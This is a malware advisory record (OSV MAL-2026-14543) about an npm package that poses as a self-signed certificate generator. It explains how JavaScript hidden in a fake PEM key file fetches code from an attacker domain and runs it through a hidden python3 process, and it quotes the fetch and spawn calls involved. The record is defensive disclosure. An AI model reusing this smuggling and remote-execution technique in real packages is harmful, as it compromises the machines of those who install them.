Malicious code in self-certificates (npm)
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
osv · MAL-2026-14543
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ced9167241d391937ba7b1f2625aa3f8184d832ebc61c182936100ae3a3f13bd) Package advertised as a self-signed TLS certificate generator ships a fake RSA private key at test/key.pem whose body, once the PEM headers are stripped and the middle is base64-decoded, is JavaScript that calls fetch('https://aptupdate.org/settings/privacy.php') and pipes the response into a detached, window-hidden python3 process via spawn('python3', ['-'], {detached:true, windowsHide:true}) with p.stdin.write(log). index.js reads test/key.pem, strips the '-----BEGIN/END RSA PRIVATE KEY-----' markers, base64-decodes the payload, converts it to a UTF-8 string, and passes it as the third argument to selfsign.generate() from the paired 'self-sign' dependency, which executes the decoded string. The destination URL inside the payload is itself base64-encoded ('aHR0cHM6...' decoding to aptupdate.org/settings/privacy.php). Using a PEM wrapper to smuggle JavaScript into a package presenting itself as a certificate helper, then routing the decoded string to a dependency that evaluates it, is a multi-stage dropper for arbitrary attacker-controlled code on the installer's machine. ## Source: ghsa-malware (8a99096f4afe74fe32b56b50df1e93fa15193616360c3656af701ce06bc42183) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
- Source published
- 26 Aug 2026 19:13:44 UTC
- Source modified
- 31 Aug 2026 18:31:22 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.